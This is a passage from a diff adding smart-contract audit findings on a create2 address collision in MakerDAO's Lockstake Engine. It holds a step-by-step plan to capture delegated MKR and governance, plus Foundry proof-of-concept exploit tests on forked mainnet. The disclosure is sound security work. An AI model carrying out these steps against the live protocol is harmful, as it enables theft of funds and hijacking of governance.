0xD3A9FE267852281a1e6307a1C37CDfD76d39b133; + uint chiefBalanceBeforeTests; + + function setUp() public virtual { + vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954); + + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + pip = MedianAbstract(dss.chainlog.getAddress("PIP_MKR")); + mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV")); + nst = new NstMock(); + nstJoin = new NstJoinMock(address(dss.vat), address(nst)); + rTok = new GemMock(0); + ngt = new GemMock(0); + mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000); + vm.startPrank(pauseProxy); + MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt)); + vm.stopPrank(); + + // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + voteDelegateFactory = new VoteDelegateFactory( + chief, polling + ); + voter = address(123); + vm.prank(voter); voteDelegate = voteDelegateFactory.create(); + + vm.prank(pauseProxy); pip.kiss(address(this)); + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1_500 * 10**18))); + + LockstakeInstance memory instance = LockstakeDeploy.deployLockstake( + address(this), + pauseProxy, + address(voteDelegateFactory), + address(nstJoin), + ilk, + 15 * WAD / 100, + address(mkrNgt), + bytes4(abi.encodeWithSignature("newLinearDecrease(address)")) + ); + + engine = LockstakeEngine(instance.engine); + clip = LockstakeClipper(instance.clipper); + calc = instance.clipperCalc; + lsmkr = LockstakeMkr(instance.lsmkr); + farm = new StakingRewardsMock(address(rTok), address(lsmkr)); + farm2 = new StakingRewardsMock(address(rTok), address(lsmkr)); + + address[] memory farms = new address[](2); + farms[0] = address(farm); + farms[1] = address(farm2); + + cfg = LockstakeConfig({ + ilk: ilk, + voteDelegateFactory: address(voteDelegateFactory), + nstJoin: address(nstJoin), + nst: address(nstJoin.nst()), + mkr: address(mkr), + mkrNgt: address(mkrNgt), + ngt: address(ngt), + farms: farms, + fee: 15 * WAD / 100, + maxLine: 10_000_000 * 10**45, + gap: 1_000_000 * 10**45, + ttl: 1 days, + dust: 50, + duty: 100000001 * 10**27 / 100000000, + mat: 3 * 10**27, + buf: 1.25 * 10**27, // 25% Initial price buffer + tail: 3600, // 1 hour before reset + cusp: 0.2 * 10**27, // 80% drop before reset + chip: 2 * WAD / 100, + tip: 3, + stopped: 0, + chop: 1 ether, + hole: 10_000 * 10**45, + tau: 100, + cut: 0, + step: 0, + lineMom: true, + tolerance: 0.5 * 10**27, + name: "LOCKSTAKE", + symbol: "LMKR" + }); + + prevLine = dss.vat.Line(); + + vm.startPrank(pauseProxy); + LockstakeInit.initLockstake(dss, instance, cfg); + vm.stopPrank(); + + deal(address(mkr), address(this), 100_000 * 10**18, true); + deal(address(ngt), address(this), 100_000 * 24_000 * 10**18, true); + + // Add some existing DAI assigned to nstJoin to avoid a particular error + stdstore.target(address(dss.vat)).sig("dai(address)").with_key(address(nstJoin)).depth(0).checked_write(100_000 * RAD); + + chiefBalanceBeforeTests = mkr.balanceOf(chief); + } + +} +``` +
+ +It is based on the `LockstakeEngine.t.sol` `setUp` function: +- Fixed imports +- Added `block.number` for caching RPC calls +- Added `chief` and `polling` contracts from mainnet +- Added the real `VoteDelegateFactory` + +To see the diff, you can run `git diff`. Note: all other functions except `setUp` are removed from the file and the diff. + +
git diff --no-index lockstake/test/LockstakeEngine.t.sol test/ALockstakeEngine.sol + +```diff +diff --git a/lockstake/test/LockstakeEngine.t.sol b/test/ALockstakeEngine.sol +index 83fa75d..ba4f381 100644 +--- a/lockstake/test/LockstakeEngine.t.sol ++++ b/test/ALockstakeEngine.sol +@@ -2,20 +2,32 @@ + + pragma solidity ^0.8.21; + +-import "dss-test/DssTest.sol"; +-import "dss-interfaces/Interfaces.sol"; +-import { LockstakeDeploy } from "deploy/LockstakeDeploy.sol"; +-import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "deploy/LockstakeInit.sol"; +-import { LockstakeMkr } from "src/LockstakeMkr.sol"; +-import { LockstakeEngine } from "src/LockstakeEngine.sol"; +-import { LockstakeClipper } from "src/LockstakeClipper.sol"; +-import { LockstakeUrn } from "src/LockstakeUrn.sol"; +-import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol"; +-import { GemMock } from "test/mocks/GemMock.sol"; +-import { NstMock } from "test/mocks/NstMock.sol"; +-import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; +-import { StakingRewardsMock } from "test/mocks/StakingRewardsMock.sol"; +-import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol"; ++import "../dss-flappers/lib/dss-test/src//DssTest.sol"; ++import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol"; ++import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol"; ++import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol"; ++import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol"; ++import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol"; ++import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol"; ++import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol"; ++import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol"; ++import { GemMock } from "../lockstake/test/mocks/GemMock.sol"; ++import { NstMock } from "../lockstake/test/mocks/NstMock.sol"; ++import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol"; ++import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol"; ++import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol"; ++ ++import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol"; ++import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol"; ++ ++ ++contract DSChiefLike { ++ DSTokenAbstract public IOU; ++ DSTokenAbstract public GOV; ++ mapping(address=>uint256) public deposits; ++ function free(uint wad) public {} ++ function lock(uint wad) public {} ++} + + interface CalcFabLike { + function newLinearDecrease(address) external returns (address); +@@ -29,7 +41,7 @@ interface MkrAuthorityLike { + function rely(address) external; + } + +-contract LockstakeEngineTest is DssTest { ++contract ALockstakeEngineTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; +@@ -40,7 +52,7 @@ contract LockstakeEngineTest is DssTest { + LockstakeClipper clip; + address calc; + MedianAbstract pip; +- VoteDelegateFactoryMock voteDelegateFactory; ++ VoteDelegateFactory voteDelegateFactory; + NstMock nst; + NstJoinMock nstJoin; + GemMock rTok; +@@ -84,8 +96,13 @@ contract LockstakeEngineTest is DssTest { + } + } + +- function setUp() public { +- vm.createSelectFork(vm.envString("ETH_RPC_URL")); ++ // Real contracts for mainnet ++ address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0; ++ address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133; ++ uint chiefBalanceBeforeTests; ++ ++ function setUp() public virtual { ++ vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954); + + dss = MCD.loadFromChainlog(LOG); + +@@ -101,7 +118,10 @@ contract LockstakeEngineTest is DssTest { + MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt)); + vm.stopPrank(); + +- voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); ++ // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); ++ voteDelegateFactory = new VoteDelegateFactory( ++ chief, polling ++ ); + voter = address(123); + vm.prank(voter); voteDelegate = voteDelegateFactory.create(); +``` + +
+ +2. Add the following `remappings.txt` to the root project directory. +```txt +dss-interfaces/=dss-flappers/lib/dss-test/lib/dss-interfaces/src/ +dss-test/=dss-flappers/lib/dss-test/src/ +forge-std/=dss-flappers/lib/dss-test/lib/forge-std/src/ +@openzeppelin/contracts/=sdai/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/ +@openzeppelin/contracts-upgradeable/=sdai/lib/openzeppelin-contracts-upgradeable/contracts/ +solidity-stringutils=nst/lib/openzeppelin-foundry-upgrades/lib/solidity-stringutils/ +lockstake:src/=lockstake/src/ +vote-delegate:src/=vote-delegate/src/ +sdai:src/=sdai/src/ +``` + +3. Run `forge test --match-path test/ALSEH3.sol` from the root project directory. +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "./ALockstakeEngine.sol"; + +contract VoteDelegateLike { + mapping(address => uint256) public stake; +} + +interface GemLike { + function approve(address, uint256) external; + function transfer(address, uint256) external; + function transferFrom(address, address, uint256) external; + function balanceOf(address) external view returns (uint256); +} + +interface ChiefLike { + function GOV() external view returns (GemLike); + function IOU() external view returns (GemLike); + function lock(uint256) external; + function free(uint256) external; + function vote(address[] calldata) external returns (bytes32); + function vote(bytes32) external; + function deposits(address) external returns (uint); +} + +contract ALSEH3 is ALockstakeEngineTest { + // Address used by the attacker, a regular EOA + address attacker = makeAddr("attacker"); + // Address brute-forced by the attacker to make a VD that matches an EOA controlled by the attacker + address minedVDCreator = makeAddr("minedUrnCreator"); + + address[] users = [ + makeAddr("user1"), + makeAddr("user2"), + makeAddr("user3") + ]; + + uint mkrAmount = 100_000 * 10**18; + + address eoaVD; + GemLike iou; + + function setUp() public override { + // Call the parent setUp + super.setUp(); + + // This VD will have the same address as an EOA controlled by the attacker + eoaVD = voteDelegateFactory.getAddress(minedVDCreator); + iou = ChiefLike(chief).IOU(); + + // Call from the EOA, the urn is not created yet + vm.prank(eoaVD); iou.approve(attacker, type(uint).max); + + // Create the VD, can't use EOA anymore as per EIP-3607 + vm.prank(minedVDCreator); eoaVD = voteDelegateFactory.create(); + + // Simulate several other urns + _createUrnDepositDrawForUsers(); + } + + function testAttack1LockSelfLiquidation() external { + _createUrnDepositDrawForUser(attacker, eoaVD); + + _testLiquidateUsingDog({user: attacker, expectRevert: false, revertMsg: ""}); + + vm.prank(attacker); iou.transferFrom(eoaVD, attacker, mkrAmount); + _testLiquidateUsingDog({user: attacker, expectRevert: true, revertMsg: "ds-token-insufficient-balance"}); + } + + function testAttack2LockWithdrawalsForOthers() external { + _changeBlockNumberForChief(); + console.log("Voting power on eoaVD before users selected: %e", ChiefLike(chief).deposits(eoaVD)); + // Some users trusted this VD + for (uint i; i < users.length; i++){ + address usr = users[i]; + address urn = engine.getUrn(usr, 0); + vm.prank(usr); engine.selectVoteDelegate(urn, eoaVD); + } + + console.log("Voting power on eoaVD after users selected: %e", ChiefLike(chief).deposits(eoaVD)); + + _testLiquidateUsingDog({expectRevert: false, revertMsg: ""}); + uint eoaVdIouBalance = ChiefLike(chief).deposits(eoaVD); + vm.prank(attacker); iou.transferFrom(eoaVD, attacker, eoaVdIouBalance); + console.log("Voting power on eoaVD after withdrawing IOU: %e", ChiefLike(chief).deposits(eoaVD)); + + _testLiquidateUsingDog({expectRevert: true, revertMsg: "ds-token-insufficient-balance"}); + + for (uint i; i < users.length; i++){ + address usr = users[i]; + address urn = engine.getUrn(usr, 0); + (uint256 ink,) = dss.vat.urns(ilk, urn); + + vm.startPrank(usr); + nst.approve(address(engine), type(uint).max); + engine.wipeAll(urn); + + vm.expectRevert("ds-token-insufficient-balance"); + engine.free(urn, usr, 1); + + vm.expectRevert("ds-token-insufficient-balance"); + engine.free(urn, usr, ink); + } + } + + // Chief won't allow withdrawal in the same block as the deposit + function _changeBlockNumberForChief() internal { + vm.roll(block.number + 1); + } + + function _testLiquidateUsingDog(address user, bool expectRevert, string memory revertMsg) internal { + _changeBlockNumberForChief(); + uint sId = vm.snapshot(); + + address urn = engine.getUrn(user, 0); + + // Force urn unsafe + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.05 * 10**18))); + dss.spotter.poke(ilk); + + if (expectRevert) vm.expectRevert(bytes(revertMsg)); + dss.dog.bark(ilk, urn, makeAddr("kpr")); + + vm.revertTo(sId); + } + + function _testLiquidateUsingDog(bool expectRevert, string memory revertMsg) internal { + for (uint i; i < users.length; i++){ + address user = users[i]; + _testLiquidateUsingDog(user, expectRevert, revertMsg); + } + } + + function _createUrnDepositDrawForUsers() internal { + for (uint i; i < users.length; i++){ + _createUrnDepositDrawForUser(users[i], voteDelegate); + } + } + + function _createUrnDepositDrawForUser(address user, address _voteDelegate) internal { + deal(address(mkr), user, mkrAmount); + + vm.startPrank(user); + + mkr.approve(address(engine), type(uint).max); + address urn = engine.open(0); + engine.lock(urn, mkrAmount, 0); + engine.selectVoteDelegate(urn, _voteDelegate); + engine.draw(urn, user, mkrAmount/50); // same proportion as in original LSE test + + vm.stopPrank(); + } +} +``` + + +## Tool used + +Manual Review + +## Recommendation + +- Prevent users from controlling the `salt`, including using `msg.sender`. +- Additionally, consider combining and encoding `block.prevrandao` with `msg.sender`. This approach will make finding a collision practically impossible within the short timeframe that `prevrandao` is known. \ No newline at end of file diff --git a/014/064.md b/014/064.md new file mode 100644 index 0000000..289e31a --- /dev/null +++ b/014/064.md @@ -0,0 +1,882 @@ +Bitter Marmalade Iguana + +High + +# An attacker can exploit LSUrn address collisions using create2 for complete control of Maker protocol + +## Summary + +An attacker can use brute force to find a collision between a new urn address (dependent solely on `msg.sender`) and an EOA controlled by the attacker. While this currently costs between $1.5 million and several million dollars (detailed in "Vulnerability Details"), the cost is decreasing, making the attack more feasible over time. + +By brute-forcing two such urns, the attacker can transfer all MKR used in LSE and VDs to their own VD, allowing them to elect any new `hat` and potentially take full control of the Maker protocol. + +## Vulnerability Detail + + +### Feasibility of Collision +[The current cost of this attack is estimated to be less than $1.5 million at current prices.](https://github.com/sherlock-audit/2024-01-napier-judging/issues/111#issuecomment-2012187767) + +The computational, time, and memory costs have been extensively discussed in many issues with multiple judges, concluding that the attack is possible, albeit relatively expensive (up to millions of dollars). Given that MKR's market cap is [~$2.2 billion](https://coinmarketcap.com/currencies/maker/) as of August 3, and [11.7%](https://governance-metrics-dashboard.vercel.app/) ($242 million) is now delegated, the potential profit significantly outweighs the cost of the attack. + +Considering that the reviewed contracts are the final state of MakerDAO, we must be aware that future price drops for this attack will occur due to new algorithms, reduced computational costs, and specialized hardware (ASICs). These machines, created for the attack, could also be used to compromise other protocols, further reducing the cost per attack. Additionally, growth in Maker's market cap can make the attack more profitable and worthy of investment. + +#### Examples of Previous Issues with the Same Root Cause +> All of these were judged as valid medium +- https://github.com/sherlock-audit/2024-01-napier-judging/issues/111 +- https://github.com/sherlock-audit/2023-12-arcadia-judging/issues/59 +- https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90 +- https://github.com/code-423n4/2024-04-panoptic-findings/issues/482 + +#### Summary +[The current cost of this attack is estimated to be less than $1.5 million at current prices.](https://github.com/sherlock-audit/2024-01-napier-judging/issues/111#issuecomment-2012187767) + +An attacker can find a single address collision between (1) and (2) with a high probability of success using the meet-in-the-middle technique, a classic brute-force-based attack in cryptography: +- Brute-force a sufficient number of salt values (2^80), pre-compute the resulting account addresses, and efficiently store them, e.g., in a Bloom filter. +- Brute-force contract pre-computation to find a collision with any address within the stored set from step 1. + +The feasibility, detailed technique, and hardware requirements for finding a collision are well-documented: +- [Sherlock Audit Issue](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90) +- [EIP-3607, which addresses this exact attack](https://eips.ethereum.org/EIPS/eip-3607) +- [Blog post discussing the cost of this attack](https://mystenlabs.com/blog/ambush-attacks-on-160bit-objectids-addresses) + +The [Bitcoin network hashrate](https://www.blockchain.com/explorer/charts/hash-rate) has reached 6.5x10^20 hashes per second, taking only 31 minutes to achieve the necessary hashes. A fraction of this computing power can still find a collision within a reasonable timeframe. + +### Steps +1. An attacker needs to find two private keys that create EOAs with the following properties: + - The first key generates a regular EOA, `eoa11` + - The second key, `eoa12`, when used as a salt for LSUrn creation, produces an urn with an address equal to `eoa11`. +2. Call `vat.hope(attacker)` and `lsmkr.approve(attacker, max)` from `eoa11`. +3. Call `LSE.open(0)` from `eoa12`: + 1. It creates `LSUrn1`. + 2. `LSUrn1` address == `eoa11` address. + 3. `LSUrn1` retains the approvals given from `eoa11` in step 2. +4. Repeat the process using `eoa21`, `eoa22`, and `LSUrn2`. +5. Call `LSE.lock(LSUrn1, 1000e18)` to deposit 1000 MKR into `LSUrn1`: + 1. This increases `vat.urns[LSUrn1].ink` by 1000e18. + 2. `urnVoteDelegates[LSUrn1]` remains `address(0)`. +6. Transfer 1000e18 .ink from `LSUrn1` to `LSUrn2`: + 1. This can be done from the `attacker` account using `vat.fork` because both LSUrns have given approval to the `attacker` address. + 2. Alternatively, `vat.frob` can be used to move from `vat.urns[LSUrn1].ink` to `vat.gem[LSUrn1]`, and then `vat.frob` to move from `vat.gem[LSUrn1]` to `vat.urns[LSUrn2].ink`. +7. Create `attackersVD` (controlled by the attacker) using `VoteDelegateFactory.create` from the `attacker` address. +8. Call `LSE.selectVoteDelegate(LSUrn1, victimVD)`: + 1. `victimVD` is the target for fund extraction. + 2. The system checks the funds by querying `vat.urns(ilk, urn)`. + 3. Since .ink was moved to `LSUrn2` in step 6, `LSUrn1` has 0 .ink, so no funds are moved to `victimVD`, but `urnVoteDelegates[LSUrn1]` is set to `victimVD`. +9. Move .ink from `LSUrn2` back to `LSUrn1` (See step 6). +10. Call `LSE.selectVoteDelegate(LSUrn1, attackersVD)`: + 1. The system sees that `LSUrn1` has 1000e18 .ink. + 2. It calls `VD.withdraw` inside `_selectVoteDelegate` with `prevVoteDelegate` set to `victimVD`. + 3. 1000e18 MKR is moved from `victimVD` to `attackersVD`. +11. Call `LSE.selectVoteDelegate(LSUrn2, victimVD)` (see step 8). +12. Move .ink from `LSUrn1` to `LSUrn2` (See step 6). +13. Call `LSE.selectVoteDelegate(LSUrn2, attackersVD)` (see step 10): + 1. `vat.urns[LSUrn2].ink` == 1000e18. + 2. `attackersVD` balance of MKR is 2000e18. +14. Repeat steps 8-13 to drain `victimVD`. +15. Repeat for different `victimVD`. +16. Replace `victimVD` with `address(0)` and repeat steps 8-13 to move all funds in LSE to `attackersVD`. +17. The attacker can then `LSE.free` 850 MKR (depositing 1000 MKR - 15% withdrawal fee) to reduce the capital/cost required for the attack. +18. Create a `hat` and vote for it with all the stolen power (almost all active voters), thereby gaining full control of the system: + 1. Most active voters are VoteDelegates: + 1. This can be verified in the "Supporters" section of the [latest vote](https://vote.makerdao.com/executive/template-executive-vote-lite-psm-usdc-a-phase-1-setup-spark-proxy-spell-july-25-2024). + 2. Although only [11.7% of MKR is currently delegated](https://governance-metrics-dashboard.vercel.app/), this percentage is expected to grow (increasing voter participation is a key goal of EndGame, as outlined in ["Improved voter participation"](https://expenses-dev.makerdao.network/endgame#key-changes), [#2](https://endgame.makerdao.com/tokenomics/subdao-tokenomics#stated-goals), and [key goal here](https://endgame.makerdao.com/maker-core/governance/easy-governance-frontend#usability-goals)). Others most likely will not be able to gather more votes within [16 hours](https://etherscan.io/address/0xbe286431454714f511008713973d3b053a2d38f3#readContract#F2) to prevent the attacker's `hat` from being selected. + +### Result: +- The attacker gains almost all the voting power in the system (most active voters are VoteDelegates). +- Liquidations and withdrawals are disabled; funds are locked in `attackersVD`, effectively immobilizing all LSE. +- The attacker gains full control of the system through `hat` election. + +### Other Variations: +- An `eoa11` can be replaced with a contract created by `eoa3`. The address of the contract can be brute-forced in the same way as `eoa11`. The contract performs step 2 instead of `eoa11` and self-destructs in the same transaction. +- If the attacker creates only one LSUrn with the collision: + - They can steal up to 5.5 times more from others using a similar loop, but `LSUrn2` will be a regular urn. In step 13, the attacker must transfer LS MKR from `LSUrn1` and withdraw 85% (with a 15% withdrawal fee). They then deposit (`lock`) it in `LSUrn1` and repeat the process. Refer to `ALSEH6.testAttack1Loop1Urn` in PoC. + - They can lock liquidations for any urn by donating 1 wei of .ink. Refer to `testAttack4SendOneInk*`. + - They can lock their own liquidation by transferring LS MKR from `LSUrn1` (testAttack5SendLsMkr). + +[Link to create2](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L242) + +## Impact + +- The attacker gains almost all the voting power in the system within a short period (the most active voters are VoteDelegates): + - It may not be possible to gather more votes during the [`delay` (16 hours)](https://etherscan.io/address/0xbe286431454714f511008713973d3b053a2d38f3#readContract#F2). + - If delegating becomes very popular and more than 50% is delegated, it may become impossible to outvote the attacker. +- It is highly likely that the attacker will be able to elect any `chief.hat`, thereby gaining full control over the system: + - They can add a new collateral type that is their own token to mint unlimited DAI (they can also change the DAI max supply, `Line`). + - They can create a [token stream](https://manual.makerdao.com/module-index/module-token-streaming) to their address. + - And numerous additional consequences. +- Liquidations and withdrawals will be disabled, effectively locking the funds in `attackersVD`. This will brick all LSE operations. +- The attacker can change [end.min](https://manual.makerdao.com/module-index/module-emergency-shutdown) and shut down the protocol. +- The attacker can profit by shorting MKR. +- All delegated MKR will be lost (117k, or 11.7%, of all MKR [as of now](https://governance-metrics-dashboard.vercel.app/)). Note that an average vote receives around 117k weight. + +## Code Snippet +>PoC + +1. Create `test/ALockstakeEngine.sol` in the root project directory. +
test/ALockstakeEngine.sol + +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "../dss-flappers/lib/dss-test/src//DssTest.sol"; +import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol"; +import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol"; +import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol"; +import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol"; +import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol"; +import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol"; +import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol"; +import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol"; +import { GemMock } from "../lockstake/test/mocks/GemMock.sol"; +import { NstMock } from "../lockstake/test/mocks/NstMock.sol"; +import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol"; +import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol"; +import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol"; + +import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol"; +import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol"; + + +contract DSChiefLike { + DSTokenAbstract public IOU; + DSTokenAbstract public GOV; + mapping(address=>uint256) public deposits; + function free(uint wad) public {} + function lock(uint wad) public {} +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); +} + +interface LineMomLike { + function ilks(bytes32) external view returns (uint256); +} + +interface MkrAuthorityLike { + function rely(address) external; +} + +contract ALockstakeEngineTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + DSTokenAbstract mkr; + LockstakeMkr lsmkr; + LockstakeEngine engine; + LockstakeClipper clip; + address calc; + MedianAbstract pip; + VoteDelegateFactory voteDelegateFactory; + NstMock nst; + NstJoinMock nstJoin; + GemMock rTok; + StakingRewardsMock farm; + StakingRewardsMock farm2; + MkrNgtMock mkrNgt; + GemMock ngt; + bytes32 ilk = "LSE"; + address voter; + address voteDelegate; + + LockstakeConfig cfg; + + uint256 prevLine; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + event AddFarm(address farm); + event DelFarm(address farm); + event Open(address indexed owner, uint256 indexed index, address urn); + event Hope(address indexed urn, address indexed usr); + event Nope(address indexed urn, address indexed usr); + event SelectVoteDelegate(address indexed urn, address indexed voteDelegate_); + event SelectFarm(address indexed urn, address farm, uint16 ref); + event Lock(address indexed urn, uint256 wad, uint16 ref); + event LockNgt(address indexed urn, uint256 ngtWad, uint16 ref); + event Free(address indexed urn, address indexed to, uint256 wad, uint256 freed); + event FreeNgt(address indexed urn, address indexed to, uint256 ngtWad, uint256 ngtFreed); + event FreeNoFee(address indexed urn, address indexed to, uint256 wad); + event Draw(address indexed urn, address indexed to, uint256 wad); + event Wipe(address indexed urn, uint256 wad); + event GetReward(address indexed urn, address indexed farm, address indexed to, uint256 amt); + event OnKick(address indexed urn, uint256 wad); + event OnTake(address indexed urn, address indexed who, uint256 wad); + event OnRemove(address indexed urn, uint256 sold, uint256 burn, uint256 refund); + + function _divup(uint256 x, uint256 y) internal pure returns (uint256 z) { + // Note: _divup(0,0) will return 0 differing from natural solidity division + unchecked { + z = x != 0 ? ((x - 1) / y) + 1 : 0; + } + } + + // Real contracts for mainnet + address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0; + address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133; + uint chiefBalanceBeforeTests; + + function setUp() public virtual { + vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954); + + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + pip = MedianAbstract(dss.chainlog.getAddress("PIP_MKR")); + mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV")); + nst = new NstMock(); + nstJoin = new NstJoinMock(address(dss.vat), address(nst)); + rTok = new GemMock(0); + ngt = new GemMock(0); + mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000); + vm.startPrank(pauseProxy); + MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt)); + vm.stopPrank(); + + // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + voteDelegateFactory = new VoteDelegateFactory( + chief, polling + ); + voter = address(123); + vm.prank(voter); voteDelegate = voteDelegateFactory.create(); + + vm.prank(pauseProxy); pip.kiss(address(this)); + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1_500 * 10**18))); + + LockstakeInstance memory instance = LockstakeDeploy.deployLockstake( + address(this), + pauseProxy, + address(voteDelegateFactory), + address(nstJoin), + ilk, + 15 * WAD / 100, + address(mkrNgt), + bytes4(abi.encodeWithSignature("newLinearDecrease(address)")) + ); + + engine = LockstakeEngine(instance.engine); + clip = LockstakeClipper(instance.clipper); + calc = instance.clipperCalc; + lsmkr = LockstakeMkr(instance.lsmkr); + farm = new StakingRewardsMock(address(rTok), address(lsmkr)); + farm2 = new StakingRewardsMock(address(rTok), address(lsmkr)); + + address[] memory farms = new address[](2); + farms[0] = address(farm); + farms[1] = address(farm2); + + cfg = LockstakeConfig({ + ilk: ilk, + voteDelegateFactory: address(voteDelegateFactory), + nstJoin: address(nstJoin), + nst: address(nstJoin.nst()), + mkr: address(mkr), + mkrNgt: address(mkrNgt), + ngt: address(ngt), + farms: farms, + fee: 15 * WAD / 100, + maxLine: 10_000_000 * 10**45, + gap: 1_000_000 * 10**45, + ttl: 1 days, + dust: 50, + duty: 100000001 * 10**27 / 100000000, + mat: 3 * 10**27, + buf: 1.25 * 10**27, // 25% Initial price buffer + tail: 3600, // 1 hour before reset + cusp: 0.2 * 10**27, // 80% drop before reset + chip: 2 * WAD / 100, + tip: 3, + stopped: 0, + chop: 1 ether, + hole: 10_000 * 10**45, + tau: 100, + cut: 0, + step: 0, + lineMom: true, + tolerance: 0.5 * 10**27, + name: "LOCKSTAKE", + symbol: "LMKR" + }); + + prevLine = dss.vat.Line(); + + vm.startPrank(pauseProxy); + LockstakeInit.initLockstake(dss, instance, cfg); + vm.stopPrank(); + + deal(address(mkr), address(this), 100_000 * 10**18, true); + deal(address(ngt), address(this), 100_000 * 24_000 * 10**18, true); + + // Add some existing DAI assigned to nstJoin to avoid a particular error + stdstore.target(address(dss.vat)).sig("dai(address)").with_key(address(nstJoin)).depth(0).checked_write(100_000 * RAD); + + chiefBalanceBeforeTests = mkr.balanceOf(chief); + } + +} +``` +
+ +It is based on the `LockstakeEngine.t.sol` `setUp` function: +- Fixed imports +- Added `block.number` for caching RPC calls +- Added `chief` and `polling` contracts from mainnet +- Added the real `VoteDelegateFactory` + +To see the diff, you can run `git diff`. Note: all other functions except `setUp` are removed from the file and the diff. + +
git diff --no-index lockstake/test/LockstakeEngine.t.sol test/ALockstakeEngine.sol + +```diff +diff --git a/lockstake/test/LockstakeEngine.t.sol b/test/ALockstakeEngine.sol +index 83fa75d..ba4f381 100644 +--- a/lockstake/test/LockstakeEngine.t.sol ++++ b/test/ALockstakeEngine.sol +@@ -2,20 +2,32 @@ + + pragma solidity ^0.8.21; + +-import "dss-test/DssTest.sol"; +-import "dss-interfaces/Interfaces.sol"; +-import { LockstakeDeploy } from "deploy/LockstakeDeploy.sol"; +-import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "deploy/LockstakeInit.sol"; +-import { LockstakeMkr } from "src/LockstakeMkr.sol"; +-import { LockstakeEngine } from "src/LockstakeEngine.sol"; +-import { LockstakeClipper } from "src/LockstakeClipper.sol"; +-import { LockstakeUrn } from "src/LockstakeUrn.sol"; +-import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol"; +-import { GemMock } from "test/mocks/GemMock.sol"; +-import { NstMock } from "test/mocks/NstMock.sol"; +-import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; +-import { StakingRewardsMock } from "test/mocks/StakingRewardsMock.sol"; +-import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol"; ++import "../dss-flappers/lib/dss-test/src//DssTest.sol"; ++import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol"; ++import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol"; ++import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol"; ++import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol"; ++import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol"; ++import { LockstakeClipper 